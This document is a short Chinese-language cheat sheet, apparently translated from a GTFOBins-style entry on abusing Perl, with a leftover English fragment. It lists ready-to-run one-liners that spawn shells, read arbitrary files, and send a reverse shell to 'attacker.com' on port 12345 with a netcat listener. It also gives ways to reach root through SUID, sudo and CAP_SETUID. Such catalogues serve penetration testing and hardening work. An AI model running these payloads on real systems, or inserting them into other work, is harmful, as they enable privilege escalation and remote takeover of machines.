用来生成一个交互式的系统shell。
perl -e 'exec "/bin/sh";'
从文件中读取数据。
LFILE=要读取的文件路径
perl -ne print $LFILE
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./perl -e 'exec "/bin/sh";'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo perl -e 'exec "/bin/sh";'
如果二进制文件具有设置的 Linux CAP_SETUID 能力,或者由另一个具有该能力的二进制文件执行,它可以被用作后门,通过操纵自身的进程 UID 来维持特权访问。
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'